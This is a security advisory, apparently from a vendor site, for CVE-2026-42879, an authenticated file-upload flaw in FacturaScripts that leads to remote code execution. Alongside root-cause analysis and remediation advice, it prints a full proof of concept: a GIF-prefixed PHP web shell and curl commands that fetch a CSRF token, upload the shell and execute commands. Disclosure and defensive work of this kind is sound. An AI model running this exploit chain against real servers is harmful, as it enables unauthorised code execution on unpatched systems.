CVE-2026-42879 — facturascripts/facturascr…
MEDIUMCVE-2026-42879 is a medium-severity (CVSS 6.3) Code Injection vulnerability in facturascripts/facturascripts. No vendor fix is recorded yet; mitigation options are listed below.
FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42879.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42879 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
facturascripts/facturascriptsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
Details
The vulnerability exists in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Specifically in the addImageAction() method.
Vulnerable Code
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Root Cause
- The validation only checks if MIME type contains
"image/" - This can be bypassed by prepending GIF89a magic bytes to a PHP file
- The system incorrectly identifies the file as
image/gif - The file is saved with a
.phpextension in a web-accessible directory
File Storage Behavior
Uploaded files are stored in:
/MyFiles/YYYY/MM/X.php
Where X is an auto-incrementing ID. This allows direct remote execution:
http://target/MyFiles/2026/03/2.php?cmd=id
Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
Proof of Concept (Manual)
Step 1: Create malicious file
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
Step 2: Authenticate
- Login to the application
- Extract
PHPSESSIDfrom browser cookies
Step 3: Get CSRF token
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
Step 4: Upload shell
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
Step 5: Execute command
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Affected Products
| Field | Value |
|---|---|
| Ecosystem | Packagist |
| CVE ID | CVE-2026-42879 |
| Package Name | facturascripts/facturascripts |
| Affected Versions | <= 2025.81 |
| Patched Versions | Not yet patched |
| Fixed in | Pending |
Remediation Recommendations
- Validate file extension — reject any upload where the filename ends in
.php,.phtml,.phar, or other executable extensions, regardless of MIME type - Re-generate filenames on the server — never use
getClientOriginalName(); assign a safe UUID-based name with a validated extension - Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
- Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like
fileinforather than trusting client-supplied MIME
Credits
- Discoverer: Abdullah Alwasabei / Guzrex
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | facturascripts/facturascripts | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for facturascripts/facturascripts, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of facturascripts/facturascripts has shipped for CVE-2026-42879 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42879 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42879. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42879 in your dependencies?
O3 Security finds CVE-2026-42879 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.